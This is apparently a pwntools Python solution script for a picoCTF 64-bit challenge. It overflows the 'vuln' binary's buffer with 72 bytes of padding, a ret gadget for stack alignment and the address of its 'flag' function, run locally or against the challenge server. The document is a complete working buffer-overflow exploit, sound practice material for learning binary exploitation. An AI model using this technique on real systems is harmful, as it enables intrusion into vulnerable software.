#!/usr/bin/env nix-shell
#!nix-shell -p python3 -i python3 (python3Packages.pwntools.override{debugger=pwndbg;})

from pwn import *

exe = ELF("./vuln")

context.binary = exe

ADDR, PORT, *_ = "saturn.picoctf.net 52789".split()

def conn():
    if args.REMOTE:
        r = remote(ADDR, PORT)
    else:
        r = process([exe.path])

    return r

def main():
  r = conn()

  # gdb.attach(r, '''
  #   b *(vuln+29)
  #   c
  # ''')

  print(r.recvuntil(b"Welcome to 64-bit. Give me a string that gets you the flag:"))
  offset = 72 # found with pwndbg
  print(p64(exe.sym.flag))
  # NOTE: extra ret gadget is needed to align the stack.
  #       Alternatively, we could ret to (exe.sym.flag + 5)
  payload = b'A' * offset + p64(ROP(exe).ret.address) + p64(exe.sym.flag)
  r.sendline(payload)
  print(r.recvall())
  r.close()

if __name__ == "__main__":
    main()
